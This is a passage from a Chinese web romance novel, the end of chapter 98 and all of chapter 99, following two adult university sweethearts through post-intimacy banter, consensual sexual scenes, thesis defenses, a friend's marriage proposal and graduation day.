他一出声,粗重的喘息声根本压不住,听得虞千绾身体莫名更软了,她勾缠着他的唇须臾,双手捧住他的脸,如此她才能退开自己的面颊,让呼吸喘匀些才轻嗔着说了句:“……变态。” 商恪景笑,边笑边追着继续来吻她,“嗯,因为宝宝变成这样了。宝宝还喜欢这样的我吗?” “爱你……” 这种时候,虞千绾不能也不想口是心非。 她喜不喜欢爱不爱,他早能通过她的身体清晰感知到。 作者有话说:[烟花][烟花][烟花] 第98章 第 98 章 “技术还有待提升”…… 这一觉, 虞千绾睡得很沉。 没做梦,也没醒过一次。 自睡着闭上眼到再睁开,直接安稳睡了近九个小时。 睡饱眯开眼,视线正对上商恪景的。 他们经常相拥而眠, 醒时看到对方很正常。 虞千绾搭在他腰侧的手环紧了些, 身形习惯性朝他怀里赖得更紧, 人还有点没醒神的哑着嗓伴随着哈欠声含糊问:“几点了……” 这般情形、对话不知发生过多少次, 已然融入他们的生活成为一部分, 有时不待虞千绾问,商恪景见她醒了就会主动报时。 但今天, 情况略有不同。 虞千绾把脸埋到商恪景怀里的时候才猛然想起, 他们昨夜发生了什么,他嘴上还那么不正经……她免不得有些忸怩地想不该一睡醒就朝他挨近的, 显得她很依赖他,应该让他主动才是。 “十点二十多。” 头顶传来商恪景的声音, 跟着, 他身形又动了动,把手机放回床头柜。 虞千绾后知后觉意识到,她睡醒时,商恪景手上并没有拿着手机, 他只是在专心地看着她。 以往, 商恪景非上班时间比虞千绾早醒时也都会像今日这样静静等着她睡醒,她一动弹他就第一时间看向她,但期间会玩手机打发等待时间或偷偷拍下几张她的睡颜照。 不似今日, 商恪景是在虞千绾开口问了后才扭头去床头柜上拿的手机。 不知道他几点醒的,也不知道他看了她多久。 而且他们认识这么多年了,她的脸他早看过无数遍, 也不知道今天看着她熟睡的时候在想什么…… 念及此,虞千绾思绪忍不住发散,越想越甜蜜,整个人都似被浸在了蜜罐里,心里的天平一下就倾斜了。 他们本来就是情侣,床上不正经些也很正常,没什么好计较的。 那点忸怩散去,虞千绾手上将商恪景抱得更紧,轻轻绵绵“哦”了声应他。 商恪景两手也都进到被中,拥住虞千绾,一语不发但腻乎地以下颚蹭蹭她的发顶,或以面颊贴蹭着她额前。 虞千绾唇角持续小幅度翘着,时而被他弄痒,闷不住会发出几声笑,本能地避闪他。 商恪景总会跟着继续挨上来,怎么都推不开。 动作间,商恪景一截短簇的发尾扫过虞千绾颈间,他前两天刚剪过头发,发尾有些扎,虞千绾发出声不适的轻哼,立即伸手用了些力去推商恪景的脑袋,“头发扎到我了,有点痛。” “哪里?” 商恪景瞬时抬起头没再让自己的头发碰到她,跟着半撑起身,单手摸摸她的左脸又摸摸她的右脸,“我给宝宝吹吹。” “哪这么夸张,只是扎了下而已,少装纯良。” 虞千绾瞧着商恪景写满了无辜担忧的眼睛却丁点不信任,反倒哼哼两声,“搬家还专门带着套的禽兽,你已经在我面前完全暴露了,现在这套不好使了。” 被揭穿,商恪景也并无难为情之类的情绪,只低头抿笑了几秒。 再看向虞千绾时,眸中的纯良无害劲早消失殆尽,“那,有没有让宝宝舒服?” 虞千绾容易羞,不禁逗。 明明是她先挑起来的话题,但商恪景一提,她顿时就不淡定了,羞嗔着把问题踢回给他,“光问我做什么?你自己怎么不说?” “我很舒服。” 商恪景接得不假思索,眸中还含了些不太单纯的笑,慢条斯理添了两个字——“非常。” 虞千绾抬手就往他胸膛锤击,但还没碰到就被他先一步攥住手。 商恪景厚脸皮地用大手包住她小手摁在自己心口,牢牢钳制住她乱动的手不让她挣回去,“好了宝宝,我说完了,到你了。” 问题又被踢了回来。 在商恪景的注视和回答下,虞千绾清楚感觉到自己的面颊温度在上升。 她要面子地暗暗咬了咬牙,下颚一抬,眼睑半敛瞧他,“就一般吧,处男嘛,技术还有待提升。” “行,熟能生巧,就是得累着宝宝今晚再陪我练练。” 丝毫没预料到这个回答的虞千绾双眸登时嗔圆,只觉搬起石头砸了自己的脚。 他们做了太多年怼来怼去的青梅竹马,总喜欢争个口头上的输赢。 虞千绾还没完全从这种相处模式里抽离出来,商恪景却显然进入了下个阶段,他早不在意嘴上的输赢,实实在在谋到的福利才是真。 并且在给虞千绾惹到语噎后,他还能及时顺毛。 譬如此刻,商恪景忽提:“宝宝,前两天魏明轩和我秀恩爱,说他和徐盼雁都把对方写进了论文致谢里。” 虞千绾不知道他话题怎么转的这么突然,前后完全不搭,眨了眨眼继续瞅他等他的后续。 商恪景又说:“我肯定也早把你写到我的论文致谢里了啊,这不是校园情侣都会做的事嘛。结果魏明轩知道他和徐盼雁不是特殊的那对还挺遗憾,扭头说要去找个单身狗炫耀,这样就不会被反塞一把狗粮了。” 虞千绾听到商恪景说他把自己写入论文致谢的时候,她就全然忘记原来在和商恪景聊什么了,注意力尽数被带过来,脑子里只余心虚忐忑和紧张,因为她的论文中没写他…… 但她绝对不是有心不写,她只是压根没想到这层。 虞千绾对待论文的态度就是典型的学生对待作业,员工对待工作。按时完成就好,不掺杂什么真情实感,真要有什么情感那也是负面的吐槽。 包含在论文中的致谢于虞千绾而言也没什么例外,她觉得致谢就像学校发调查问卷,是一种众所周知的虚假,里头定然要先感恩一波带论文的老师、四年一直陪伴的辅导员以及提供这一切的京大。 所以写到致谢的时候,虞千绾满脑子都是“写完了写完了!朕终于要写完了!结束这番客套就完事了!” 压根没想到过把身边亲近人放到客套里。 这样的想法其实也没什么,但现在,商恪景说他把她写入了致谢里,魏明轩和徐盼雁也都这么做了,虞千绾就有些被架住,不好说自己没写他,总觉感性上好像有些过不去。 尤其,商恪景见她沉默后似有猜测,声音微妙了些问:“宝宝你怎么不说话?该不会你没写我吧?” 如此,虞千绾更就说不出真话了,下意识摇头否认,“没有!怎么会?!” 为了给自己作伪证,她还一本正经加了句,“你要是不信的话,过会儿改PPT用到电脑的时候,我把论文给你看。” 反正这期间还有时间,她可以偷偷用手机在论文致谢里加上他,算是一种善意的欺骗嘛,大家都开心。 “好啊。” 商恪景丝滑接下,“那到时候我们交换,我想看看你写了我什么。” 虞千绾眼神不由得错开一瞬,声音略虚,“……行、行啊。” “现在饿吗?要不要吃点什么?还是直接和午饭一起吃?” 商恪景说着,顺手就搂住虞千绾,将她抱紧。 虞千绾心绪飞走,只想争分夺秒去改论文致谢。 一手去腰上拉开商恪景的手,一手推他的肩膀,拉拉扯扯间终于坐起身拿过手机,“不饿,和中午一起吃就行,但我现在要去趟卫生间。” 她掀开被子麻溜下床,脚踩到拖鞋迈开半步的时候,腿间倏然就拉扯开了难言的酸胀感。跟着,四肢百骸的酸意都似复苏。 她本能地弓下些腰,单手撑在腰侧,秀眉不适微蹙。 靠躺着的商恪景见状猛地坐起就倾身去扶她,“疼?” 虞千绾咬着下唇看了眼商恪景,没回答。 她不是不想说,委实是这种感觉她也难以去准确表达。 说疼倒也不是疼,商恪景昨夜的行径虽然流氓了些,但大多时候都是温柔的,就是不时地会有几下猛撞。不过在那种情形下,绝对是不疼的,她浑身都仿佛泡在水中,很润,只会因为商恪景的动作爽到脑袋发白。 可毕竟是初次,睡一夜醒来浑身都有着或多或少的不适。不止是被撑大的窄小,还有一会儿被盘在腰后一会儿被架到肩上的细腿,以及期间不自觉迎合用力撑起的腰肢,都酸酸的。 虞千绾咬唇望着商恪景的模样落在他眼中更显楚楚,他揽着她,想让她坐在床边,“我看看,要是肿了的话我去给你买药。” 他期间已经非常克制了,事后也检查过,肯定是没破没弄伤她的。如果她还不舒服的话,商恪景能想到的唯一可能就是被磨肿了。 虞千绾本也要顺着他的力度坐下的,但听到他这话,坐到一半的身子陡然用力就站了起来,还朝前进了几步远离床边。 凌晨氛围在那,也羞臊到极限了,商恪景干什么都不显得异样,但现在氛围清明,忽然给他看也太奇怪太羞耻。 虞千绾做不到,快速嚷了句“我没事”就快步进了卫生间。 几秒后,刚掀开被子下床想跟进去看看她到底哪里不舒服的商恪景听到门后传出了反锁的声。 步伐瞬间顿在原地,不禁摇头失笑。 怎么这一夜过后,他们之间的信任值好像有点堪忧。 卫生间内。 虞千绾休缓半分钟后,眸含春波,面带桃粉,深深呼了口气开始用手机修改自己的论文致谢。 这种时候,她实难写出什么纯情的内容。 只能靠着扒自己的朋友圈,翻出一些可以见人的纯爱或感动小事总结概括放到致谢中。 下午。 他们一起修改答辩PPT的时候交换了论文查看。 商恪景全程笑吟吟的,并没不满于她的致谢,只说以后每位看他们论文的学弟学妹都会知晓他们是一对。 心存侥幸以及心虚,虞千绾万分配合他的话,情绪价值拉满地回应他。 浑然忘了昨天回校开会的时候,自己打印出的纸质版论文全程在他手上拿着。 作者有话说:怎么回事,写着写着发现商恪景进化了好多![眼镜][眼镜] 他再也不是之前那个看着千绾喜欢别人多年却只会暗暗隐忍的小竹马了。 他心机了起来,既顺了千绾的毛,还满足了自己想出现在她论文里的私心!!! 真是人得到了,感情浓郁了,事也办成了!《 》 【完结篇】 第99章 大学篇·完 西装跪 各专业的答辩时间不同, 虞千绾专业的答辩时间定在一周后,5月23日。 学校安排的具体答辩顺序一大早就下来了,老师发在专业大群中。 虞千绾和商恪景同组,被分在一个教室答辩, 但上台答辩的顺序不是挨着的, 中间隔了几个人。按着名单估测一个在临近中午答辩, 一个则在下午。 虞千绾和商恪景自身论文没问题, 筹备答辩的过程很利落, 他们先依着昨日开会时邢老师的要求改好PPT后又读了好些遍,自行模拟答辩情形。 再将论文中一些用到的难记的知识点多过几遍, 能放在PPT里的就尽量添上去, 如此答辩老师看到也就不会再多问了。即便老师问得细,自己也能第一时间通过PPT上的提醒精准定位知识点, 防止因紧张宕机使得原本会的东西都忘了丢了该拿的分。 答辩无需脱稿,照着PPT念就行。 两人之前捋过多次答辩流程, 这次再花时间主要是因为PPT修改过, 得再熟悉熟悉。新改新添的内容占比较少,处理起来不需很多时间,所以一天不到的时间,他们就把一切都定好, 写着对方姓名的毕业论文终稿也被上传至学校系统。 一天不到, 听起来似乎没多久,但身处期间忙碌的每分每秒都很磨人。 虞千绾从起床就开始忙,一直忙到天黑上床, 可以说这一天除了吃饭外的时间都在被论文折磨。 洗漱好躺到床上的那瞬,虞千绾顿觉心安的同时也因松了劲而倍感疲惫,可又没到睡觉点压根睡不着。 她静静望着天花板放空须臾, 逐渐把知识抛出脑袋,翻了个身摸过手机开始刷轻松小视频恢复自己的精神力。 “侧躺玩手机对眼睛不好,已经看大半天电脑屏幕了。” 商恪景说着就把虞千绾抱起了些圈在自己怀中。她正犯着懒,不想动也不想说话,浑身跟没长骨头似的,任由他动作。 商恪景跟自己没手机般,不玩自己的,调整好姿势后微微歪头将脑袋搭在虞千绾脑袋上,垂眸看着她手机上的短视频。 屋内除视频声外一片寂静。 直到两三分钟后,虞千绾被视频逗得发出一声轻笑。 商恪景视线从手机屏幕移到她面上,也跟着笑了声。 一声笑仿佛是个重启键,虞千绾元气开始回归,笑点变低,频频笑出声来,笑声愈发清脆。 时而,他们还会就视频内容聊起来,或长或短。 又刷了五分钟左右,虞千绾嫌手酸,把手机塞到商恪景手里让他拿着,自己则全缩进被中,只余脑袋露在外。 看到不感兴趣的视频,她就干脆道“滑走!” 商恪景便听话滑至下条视频。 发生次数多了,虞千绾更是直接把指令简洁成一个字——“滑。” 或是声嫌弃的从第二声转至第四声的“嗯~” 刷着刷着,屏幕内忽然出现了一个男人,他没露脸,镜头只到肩膀朝上一点点,白净的脖颈时隐时现。 视频开始,男人一身日常的休闲服跪在地上,配合着BGM和剪辑,当他跪在地上的双膝向两侧张开的瞬间忽变成了一身西装,灯光也同步暗下来,极有氛围感。镜头也更近,入目全是男人被西装包裹着的好身材,他的左上臂还戴了个冷色调但很勾引人的袖箍。 眼睛捕捉到的那刻,虞千绾嘴角本能上翘,眼尾轻弯。 商恪景冷不丁低下头,当面抓包了她,声音几乎是从喉间挤出般皮笑肉不笑问她:“笑什么?” “没有呀。” 虞千绾当即抿住唇,水灵灵的大眼睛故作无害地眨着。 商恪景一个字都不信,但手机里还在持续播放陌生男人的变装视频,BGM也一直响着。 他不想给这个男人贡献播放量,也不想眼睁睁看着虞千绾当着他面居然还在禁不住诱惑地频频偷瞄别的男人。 于是他滑走了视频,确定下一条视频没有开屏的男人后刚欲继续和虞千绾掰扯,结果她简直在挑衅他——她瞅他两秒,憋着笑,径直伸出手,把视频又划了回去。 熟悉的BGM和男人再次出现。 商恪景直接将手机熄了屏丢到自己这侧,垂眸凝了被子两秒,气笑了。 见他如此,虞千绾一时也破了功,直接仰头笑出声。 商恪景当然知道虞千绾在逗他,她就是故意想看他吃醋。 但她看到视频那秒上翘的唇角做不得假,里头多少是有些真情实感的。 越想,商恪景越发酸,先是气急败坏地捏住虞千绾两颊同她深吻了两分钟,后又小气吧啦地追问:“你平常爱看这种?” “别狡辩,你要是不爱看,大数据也不会给你推。” 他几乎是在揣着答案问问题,虞千绾也确实没法辩解,这种包裹齐整但有性张力的视频在她眼里的的确确比明着擦边不穿上衣的男人更有吸引力。 而且商恪景此刻吃醋的样子让她的嘴角更难压了,她忍不住想多看会儿便故意说些含糊其辞的话,待到差不多了才开始哄他。 商恪景非常好哄,话语哄不好那就亲他,亲一下不好就亲两下,只要虞千绾抱着他的脸像啄木鸟似的疯狂亲亲亲,不过半分钟他一定会消散所有负面情绪。 这法子百试不爽。 哄好商恪景后,虞千绾话锋一转开始给自己谋福利,说等彻底忙完答辩的事后,她也要给他拍个西装跪的变装视频,不过她不想给他穿的太完整。 切实睡过发生过关系后,有些话虞千绾莫名就能丝滑说出来了,面不红心不跳的,全然不会似之前那么羞耻忸怩。 商恪景当下是有些羞耻感的,他觉得私下和虞千绾怎样都行,可她如果拿着手机拍下来,那情况就不太一样了。 即便知晓她不会外传,商恪景还是感到怪异,就好像无形间有许多双眼睛通过手机的摄像头在看他。 但虞千绾又说这样的话,她以后可以经常拿出来欣赏,就不会去多看别的男人了。 商恪景听着心生动摇。 虞千绾凑上来软乎乎亲了亲他,商恪景彻底没法再说出拒绝。 这番小插曲落了定,两人回归起初的姿势准备继续刷短视频。 不错这次,虞千绾让商恪景用他的手机刷,她不信他的大数据里一个美女都没有。 而且有时候大数据也不是那么准,会推送些并不感兴趣甚至从未看过的内容,刷多了总会出现些别的。况且人本就是视觉动物,爱看些漂亮的人事物很正常,又不是看帅哥美女就代表喜欢,只是看到的当下觉得赏心悦目而已。 不过介于刚发生过的一系列,虞千绾边看商恪景短视频里自动推送的视频边在心里组织语言做着准备。 只要看到女生,她就要以比商恪景更甚的姿态发作一番回过去,让他有口也难辩。 但看了足足一刻钟,虞千绾都没看到符合这类要求的短视频,商恪景的短视频以情侣向和搞笑、煽情为主,美女倒是有,可都是走搞笑女路线的,总之没丁点暧昧。 蓄谋的心思没能达成,虞千绾愈发觉得无趣,时间也渐晚,她开始愈发频繁地打起了哈欠,眼皮也渐沉。 这晚,虞千绾都不记得自己是什么时候睡着的了。 待她再有记忆时已是深夜,屋内的灯光全闭,周遭一片漆黑、寂寥。 只有细微身前搂着她熟睡的商恪景发出的呼吸声。 该是她看手机的时候在他怀中睡着了,他发现后没叫她,直接关了手机就搂着她睡了。 思绪转瞬即逝,还困着的虞千绾朝商恪景怀里又凑了凑,同他黏得更紧后阖上眼又陷入睡梦中。 白日醒后,虞千绾后知觉地想起,昨天她嘴硬说商恪景处男技术有待提升的时候,他说“熟能生巧,就是得累着宝宝今晚再陪我练练。” 她突然很庆幸自己昨晚睡着了,不然又少不了一番折腾。 可当晚,虞千绾就发现自己的想法错了。 因为他们都在连绵的吻中情动了,商恪景却率先退开叫了停。 虞千绾这才意识到,商恪景只是嘴上那么说着逗她,实则压根没打算那么做,他该是知道初次后她有些不适,留了时间让她休缓。 虽然这种体贴是男朋友该有的觉悟,但感觉到的时候,虞千绾心头还是不禁软软暖暖的。 同时,她还有些遗憾。 初尝滋味,浅淡的不适感褪去后,她回想起的都是爽愉,还挺想再试试的…… 心头软软的感触没能持续很久就彻底烟消云散。 因为第三晚,商恪景就不当人了。 校外小区空间有限,不比别墅每个卧室都配有独立的浴室。 在这里,商恪景如果想省时,就得在虞千绾洗澡的时候拿着睡衣回隔壁自己家洗。 如果懒得动就只能等虞千绾洗完再去洗。 但第三晚,商恪景开辟了第三个选择。 他进了浴室和虞千绾一起洗。 除了替换的睡衣外,他还带了两枚物什。 将虞千绾堵在角落里检查过她那处无虞后,他才放肆地进行了下去。 才第二次做这种事就在浴室里,还是站着。 虞千绾难捱极了,身形控不住地随着他的力度前后颠簸,不安又旖旎。她涨红着脸想去嗔商恪景,但一开口只能发出娇媚黏蜜的吟喘,她瞬间就咬紧唇不好意思再张口了。 商恪景是在虞千绾洗澡洗到一半的时候突然闯入的,她浑身都是水,纤直细腿上还挂着零星泡沫,肌肤湿滑。 花洒仍在不停往下落着温水,将两人的身体都打得湿漉。 站着的难度本来就比较大,虞千绾又没这种经验,周围再没个支撑点,还都是水,她没安全感极了。 即便身前商恪景掐住了她的腰,不可能让她摔着,但她还是没什么安全感,总想自己手上抓点什么。摸索间,她握住了门后的把手,两手都背到身后去紧攥着,勉强稳住被迫摇晃的身形。 商恪景却对此颇有不满,他粗喘着低头去含吮虞千绾的颈,哑声:“……宝宝抱我。” “你——” 虞千绾一出声就是让自己都感到陌生的软媚声线,她紧急又噤了声,咽了咽嗓努力缓解了些才继续道:“你身上都是水,抱不稳……嗯~轻、你轻点。” 商恪景没说话,用动作让虞千绾没办法再扶稳那一小截可怜的把手,只得再度攀住他,依赖的脑袋贴着他。 两个人都处于初尝荤的阶段,皆食髓知味的。 虞千绾可算深切悟了当初刷到的那条短视频里女生说的话,别的双火象在床上合不合拍重不重欲她不清楚,但她和商恪景,确实很合也很馋对方。 他们一个主动一个纵容,每两天至少要有一晚的时间花在这事上,当然,一晚不可能就一次。 虞千绾和商恪景的感情本来就好,肉.体合拍了更是腻乎。这种两眼一睁就是对方的甜蜜时间转瞬即逝,时间很快来到答辩前夜。 这一晚,虞千绾严令禁止商恪景靠近自己,既怕他乱来也怕自己不自持,会情乱自抑地沦陷其中。 理智告诉她,他们明天要答辩,一早就得起来去学校,得保持一个清明的思绪和松泛的身体。 商恪景心里有数,这种时候他不会胡来。 但他做不到和虞千绾保持距离。 待在同个空间内看论文看PPT做最后的复习时,商恪景置于桌下的腿总有意无意去贴着虞千绾的腿侧。 起初,虞千绾还会瞪他眼移开腿,但商恪景总会不声不响再跟上来,发现他只是单纯这么挨着不干什么后,虞千绾才由着他- 翌日一早。 上午这批将要答辩的学生全都带着U盘挨个把自己的PPT拷贝到答辩教室的电脑中,待到老师到齐后按顺序正式上台答辩。 虞千绾是十点出头上的台答辩。 台下老师看过她的论文后纷纷开始提问,大多她都回答了出来,但台下有位老师的研究方向似乎正对她的论文中一个简单带过的小点,追问得很细很深,随口说了一连串的专业名词,一句话中有好几个虞千绾听不懂的词汇,她只能做好挨训的准备开始赔笑说对不起,试图以态度争取些分数。 好在邢老师给力,直接帮着虞千绾回了过去,说那是研究生要学的,她一个本科生能写出这样的论文已经很好了。 下午两点,商恪景答辩时。 这类情况也同样发生了,他有个问题答不上来,邢老师继续护犊子开麦。 非本组的一些学生,邢老师觉得别的老师问得太深太刁钻她也会出声帮忙,在班群里收获一众学生的感恩声。 正式的论文成绩出来还需要些时间,不过老师们喊了同专业大三的学弟学妹过来帮忙,他们负责在一旁统计台下几位老师打的分数。 虞千绾他们组内有个男生的交际圈比较广,认识其中一个统计分数的学弟,直接帮着他们一个组都要来了分数。 虞千绾和商恪景看了稳过的分数,心头最后一块大石头落定,瞬觉一身轻松。 但没时间出去庆祝,他们立即出了教室赶去求婚现场帮魏明轩布置。 魏明轩将在今晚约徐盼雁出来求婚,但徐盼雁答辩他肯定要陪着,没法缺席。 不过魏明轩专业的答辩时间比虞千绾他们早两天,他已经把求婚要用的包厢布置好七七八八了,只不过有个网购的物什昨晚才到,他只能拜托答辩时间靠前的虞千绾和商恪景帮他去收个尾。 商恪景扫了辆共享电动车,载着虞千绾先到快递站拿了魏明轩的快递,再去饭店包厢。 徐盼雁在下午四点半左右答完辩,魏明轩约她吃饭说庆祝顺利毕业的时候徐盼雁毫没怀疑,还想着庆祝怎么能没有蛋糕,于是开开心心订了个蛋糕。 徐盼雁想着蛋糕不方便携带,便在下单前顺口问魏明轩晚饭在哪吃,届时直接让店家把蛋糕送去。 魏明轩一直在偷偷用手机和商恪景联系,冷不丁被徐盼雁问地址,紧张得够劲,直接结巴了起来。 但徐盼雁完全不知道求婚这事,并没多想魏明轩的奇怪。 订完蛋糕后,徐盼雁想着时间还早,便抱着魏明轩胳膊和他在校园里溜达、拍照,想在毕业前多留下些记忆。直到晚饭前半小时,她回宿舍换了身漂亮的衣服,又补了个妆。 后面的一切发展得水到渠成,徐盼雁看到求婚现场的布置和熟悉的朋友们才后知觉反应过来魏明轩这段时间的奇怪,以及周围好友有意无意的试探。 她眼含热泪,不假思索应下了魏明轩的求婚。 在此之前,徐盼雁没有多想过结婚这事。 但求婚的人是魏明轩,她愿意把手交给他。 掌声、欢呼声中央拥吻着的有情人,精心布置的环境,周遭的所有都好像是那么的美好。 商恪景和虞千绾被氛围感染,在无人瞧见的角落中也不禁偷偷亲了彼此一下- 临毕业,时间仿佛突然就被按下了加快键,快到有些割裂。 前一天才刚答完辩,后一天聚在一起穿着学士服拍完毕业照后,班长就说答辩通过、纸质版论文交上去的同学可以离校了,后面发毕业证时他会在群里通知,有时间的可以自己回来拿,没时间的学校会安排快递寄去,交个快递费就行。 也就意味着,今天可能是许多在场人的最后一次见面了。 虞千绾主动去找徐盼雁还有另外两位宿舍舍友。 让商恪景帮她们四人拍宿舍合照,虽然她没怎么在学校住过,但这三位同学是她大学接触最多也最不舍的了。 现场许多关系好的朋友都一窝一窝聚在一起合拍,也不知是谁提了句,说所有女生都在一起拍个属于女生的大合照,便有男生也跟着说要拍男生大合照。 氛围就这么又热络起来。 女生大合照被发到女生群里,女生们各自拿着手机讨论哪张拍得好看。 有人已经开始修图了,说势必要修出一张让大家都满意的。 一片讨论声中,有人忽然惊叹,“卧槽,你们快看快看,那个就是物理系的周老师,真的好帅!咱专业怎么就没有颜值高的男老师呢,咱专业要是有,我早考到专业第一了。” “哪呢哪呢?一直说帅,我还没从没见过。” “哇,他怀里抱着一束花诶,送谁的啊。” “可能是学生送他的,毕竟毕业季嘛,咱班不也用班费给专业老师都买了花嘛。” 虞千绾听着讨论声,顺势扭过头去看。 周既明恰好也看到她,朝她笑了笑,招了招手。 周围刚刚还讨论着的同学们同步震惊看着虞千绾,有人耐不住好奇直接发问:“哇,什么情况,千绾你和周老师认识啊?” “有见过几面,但不熟,他是我姐的朋友,可能我姐麻烦了他什么事,我去看看。” 虞千绾简洁交代清楚,狐疑向周既明走近。 自从生日那天后,虞千绾没再见过周既明,因没课也没怎么听到过他在学校里的事,只偶尔会同姐姐八卦几句。 她能感觉到,虽然这个周既明和姐姐依旧保持着炮友的关系,但姐姐和他之间似乎愈发亲近了。 “你同学都在那,不太方便说话,所以冒昧喊你过来。” 周既明面上总是挂着抹温笑,他把花双手递给虞千绾,“你姐买的,让我送给你,她说这束花很灿烂很明媚,像你一样。你应该知道,她本来想亲自过来祝你毕业快乐的,但纽约分公司那边临时有事,昨天出了国,今天赶不回来。” “谢谢。” 姐姐送的花,虞千绾大大方方收下,但周既明的话,她没全信。 抬了抬眉,似笑非笑反问:“我姐让你送给我?” 她将‘让你’这两个字的字音稍稍咬重。 周既明低头噙上抹被戳破的笑,“好吧,她本来是让司机送来的,但司机进不来京大,她麻烦我帮忙领司机进来,我有些私心,所以自己把花拿了过来。” 说着,他从口袋里掏出个首饰盒,“这是我作为你姐姐的追求者,送你的礼物,毕业快乐,还请这次,一定要收下。” 虞千绾还记得和周既明初见的惊惶,彼时她哪里想到会有今日这般和谐的画面,强烈的反差让她想笑,“贿赂我啊?你这哪里是私心,都摆到明面上了。” 周既明无奈带笑,“没办法,给你留下的印象太差了,得更努力才行。” “放心吧,等你真打动我姐成为我姐夫的那天,不用你送我都会主动要礼物的。可今天这个礼物,我还是不能要。” 虞千绾后退了半步,含笑,“但之前的事,一笔勾销。” 周既明静默须臾,只得将首饰盒重新放回兜里,“好吧,那就希望以后我能有个正式的身份和你姐一起送你礼物。花送到,我就不打扰你的毕业时光了,下次再见。” 虞千绾点了点头,“拜拜。” 商恪景一直在注意着,见周既明走了他才上前,没干扰他们的对话。 “我姐送来的花,好看吧!多巴胺色系,好亮眼,很配今天这样的日子。” 虞千绾扭头就看到商恪景,笑吟吟朝他小跑两步,高兴举了举花束给他瞧。 “好看,但周既明现在和昭音姐关系这么好了?” “尚在排队中,这次送花的机会是他耍小心思弄到的,想曲线救国从我这击破我姐呢,不过没能成功,我才不会出卖我姐。” 虞千绾得意扬了扬下颚,视线开始环顾四周寻找适合拍照的背景,“你帮我拍几张,把我和花都拍好看点,我给我姐发过去。” 两人没在一起待几分钟,徐盼雁又过来找虞千绾。 知道她们以后难见面,商恪景没黏着虞千绾,罕见的大度,让她们女孩子单独在一起拍她们的照片聊她们的天。 魏明轩专门过来陪着徐盼雁拍毕业照,结果自己成了被抛弃的那个。 商恪景正好和其结伴。 天色在喋喋话语中变暗。 他们是下午两点拍的毕业证,现下将临傍晚。 不少人已经放回学士服去吃饭了,更有甚者开始收拾东西回家了。 徐盼雁和虞千绾的交流也临近尾声。 她们正在聊求婚的事,徐盼雁说她的惊喜,虞千绾说她试探时的紧张。 徐盼雁笑着笑着忽然遗憾道:“看不到你被求婚的场景了。” 虞千绾失笑,“怎么联想到这?我跟商恪景还早着呢,我们恋爱还不到半年。” “但你们从小就认识,感情基础不一样嘛。我和明轩大学才认识,恋爱后花了很多时间磨合,不像你们,早就磨合好了,恋爱后进度自然可以跟开火箭似的,嗖嗖的。” 徐盼雁抵了抵虞千绾肩膀,“你俩结婚,一定别忘了喊我啊,我要来的。” 她一会儿沮丧一会儿高兴的,虞千绾忍俊不禁,“那当然,你和魏明轩也是啊。” “那必须的!” 徐盼雁看着自己无名指上的戒指,“不过说不准的,他虽然跟我求婚了,可真距离结婚还是很遥远的,现实要考虑的东西太多了。保不齐你和商恪景弯道超车,最后比我们还先办婚礼呢。” 她好奇凑近虞千绾,笑眯眯问:“说实话,你有没有期待过商恪景和你求婚的画面?” 虞千绾想了想,“其实这个问题,在我之前帮魏明轩试探你的时候,我就想过,但我其实想不到什么具体的画面,不像你可以描述出很多细节,也不浪漫。” “不浪漫?那说明还是有想到一些的嘛。” 徐盼雁抓住重点,“说说嘛。” “嗯……” 虞千绾沉吟片刻,竭力总结,“我就觉得感情是自己的事,如果真到求婚的那天,我一个旁观者都不想要,我只希望那个画面里有我有他,这就够了。” “而且我不觉得婚姻和恋爱有太大的差别,依旧是我和他的相处,所以我没有很在意求婚的场景是什么样,我更在意的是我们内在的感情浓度。” 虞千绾自己都觉得自己说的有些抽象,笑了声继续补充描述,“大概就是那种感觉——暧昧着暧昧着忽然确定恋爱关系,恋爱后牵手、拥抱、接吻。这些都是要慢慢积累才顺其自然发生的,一种循序渐进的感觉,不知道那天到底什么时候发生,但当下没有那个念头,或者有别的不合时宜阻止,总之没有发生,还缺点契机。” 虞千绾仰头看天,舒朗道:“交给命运吧~我相信真到那天,商恪景会感觉到的,他也会知道怎么准备。他给我准备的东西,我一向都很喜欢。” 身侧方忽然传出一声轻笑,虞千绾和徐盼雁一惊同步回身看去,是魏明轩。 他和商恪景不知道什么时候过来的,也不知道听到了多少,就站在她们身后。 “抱歉啊两位女士。” 魏明轩举起双手作出投降状,“我们是看时间不早了,想着来问问你们饿不饿,要不要去吃饭,没听到很多。” 虞千绾不禁有些紧张,就怕商恪景只听到一段会错了她的意。 但下瞬,商恪景朝她伸出手,“女朋友,可以陪我去过过二人世界了吗?” 不知怎的,说不出源头,可商恪景说出这话,虞千绾就坚信他没有会错意,他懂她的意思。 她粲然着笑将手搭上他掌心,“走吧,男朋友。” 徐盼雁有样学样,朝着魏明轩伸出手,“走,未婚夫,我们也去过二人世界。” “得嘞。” 魏明轩当即伸手去接。 四人同步笑出声,笑成两团,两两拥搂在一起。 就像是某种心照不宣。 踏出校门的那刻,一直看着前路的商恪景和虞千绾忽然侧目看向对方,对视了眼,眉眼间皆含着笑。 小升初、初升高、高考完升大学。 每一次人生的重要转折点,他们都陪在对方身边,一起进入一个新环境,再一同走出去闯荡下一个新天地。 不同的是,这一次,他们紧紧依偎在一起。 ——大学篇·完—— ——2026.1.16.——《 》